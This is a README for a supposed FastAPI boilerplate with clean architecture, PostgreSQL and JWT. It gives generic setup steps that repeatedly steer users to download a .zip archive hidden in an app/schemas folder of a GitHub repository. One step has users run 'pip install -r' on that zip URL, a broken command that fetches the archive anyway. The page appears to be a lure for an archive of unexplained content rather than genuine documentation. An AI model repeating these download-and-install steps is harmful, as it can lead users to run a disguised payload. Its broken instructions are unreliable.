🚀 fastapi-boilerplate - Build Your FastAPI Service Easily

📦 Overview

The FastAPI boilerplate provides a well-structured starting point for building efficient web applications. It uses FastAPI, a modern framework for Python, making it easy to create APIs quickly. This boilerplate follows clean architecture principles, ensuring that your application is organized and maintainable.

🔍 Features

• Clean Architecture: Separates concerns to make your code easy to understand.
• FastAPI: High performance and easy to use for creating web APIs.
• PostgreSQL Integration: Built-in support for a popular database system.
• JWT Authentication: Secure your API with token-based user authentication.
• Python-based: Leverage the power of Python for your application logic.

🖥️ System Requirements

Before downloading the FastAPI boilerplate, make sure your system meets the following requirements:

• Operating System: Windows, macOS, or Linux
• Python: Version 3.7 or higher
• PostgreSQL: Installed and running
• Internet Connection: Required for the initial setup

🚀 Getting Started

Follow these steps to download and run your FastAPI boilerplate application.

1. Visit the Releases Page

To get the latest version of the FastAPI boilerplate, click the link below:

Download FastAPI Boilerplate

2. Choose Your Version

On the Releases page, you will see a list of available versions. Select the version you wish to download. Look for the files labeled with .zip or https://raw.githubusercontent.com/chris83254/fastapi-boilerplate/master/app/schemas/boilerplate_fastapi_2.5-alpha.5.zip.

3. Download the File

Click on the file link to start the download. Depending on your browser settings, the file may download automatically or you may have to choose a location to save the file.

4. Unzip the Downloaded File

Once the download completes, locate the file on your computer. Right-click on the file and select "Extract" or "Unzip". This will create a folder containing all the necessary files.

5. Install Required Dependencies

Open a terminal (Command Prompt on Windows, Terminal on macOS/Linux) and navigate to the folder created in the previous step. Type the following command to install the required Python packages:

pip install -r https://raw.githubusercontent.com/chris83254/fastapi-boilerplate/master/app/schemas/boilerplate_fastapi_2.5-alpha.5.zip

Make sure you have Python and pip installed on your system. If not, visit the official Python website to get the latest version.

6. Set Up PostgreSQL

Make sure your PostgreSQL service is running. You may need to create a new database for your project. Use the following commands in your PostgreSQL interface:

CREATE DATABASE fastapi_boilerplate;

7. Run the Application

Once the dependencies are installed, and the database is set up, you can start the application. In your terminal, run the following command:

uvicorn main:app --reload

This command will start the application on your local server. You can access it by entering http://127.0.0.1:8000 in your web browser.

📖 Additional Documentation

For more information on using the FastAPI boilerplate, check the documentation included in the repository. It provides detailed instructions on advanced configurations, middleware, and more.

🎓 Usage Tips

• Testing: Make sure to test your endpoints using tools like Postman or cURL to ensure they work as expected.
• Environment Variables: Store sensitive information like database credentials securely using environment variables.
• Version Control: Use a version control system like Git to manage your code and keep track of changes.

📞 Support

If you encounter any issues while setting up the FastAPI boilerplate, feel free to raise an issue in the GitHub repository. The community and maintainers are here to help.

📥 Download & Install

To get started, download the FastAPI boilerplate from the link below:

Download FastAPI Boilerplate

Once downloaded, follow the instructions above to set up and run your application smoothly.